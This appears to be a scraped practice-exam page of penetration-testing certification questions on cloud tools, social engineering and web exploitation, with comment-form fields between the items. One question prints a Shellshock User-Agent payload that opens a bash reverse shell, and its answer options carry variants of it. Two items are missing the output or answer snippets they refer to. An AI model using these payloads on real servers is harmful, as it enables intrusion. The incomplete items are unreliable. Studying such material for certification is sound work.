Which of the following is a rules engine for managing public cloud accounts and resources?

• A.Cloud Custodian
• B.Cloud Brute
• C.Pacu
• D.Scout Suite

Comment: *

Name: *

Email: *

Verification: *

A penetration tester gains access to a system and is able to migrate to a user process:
Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

• A.Redirecting output from a file to a remote system
• B.Building a scheduled task for execution
• C.Mapping a share to a remote system
• D.Executing a file on the remote system
• E.Creating a new process on all domain systems
• F.Setting up a reverse shell from a remote system
• G.Adding an additional IP address on the compromised system

Comment: *

Name: *

Email: *

Verification: *

A penetration tester performs the following command:
curl -I -http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?

• A.Option A
• B.Option B
• C.Option C
• D.Option D

Comment: *

Name: *

Email: *

Verification: *

A penetration tester breaks into a company's office building and discovers the company does not have a shredding service. Which of the following attacks should the penetration tester try next?

• A.Dumpster diving
• B.Phishing
• C.Shoulder surfing
• D.Tailgating

Comment: *

Name: *

Email: *

Verification: *

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

• A.exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
• B.exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
• C.exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
• D.exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

Comment: *

Name: *

Email: *

Verification: *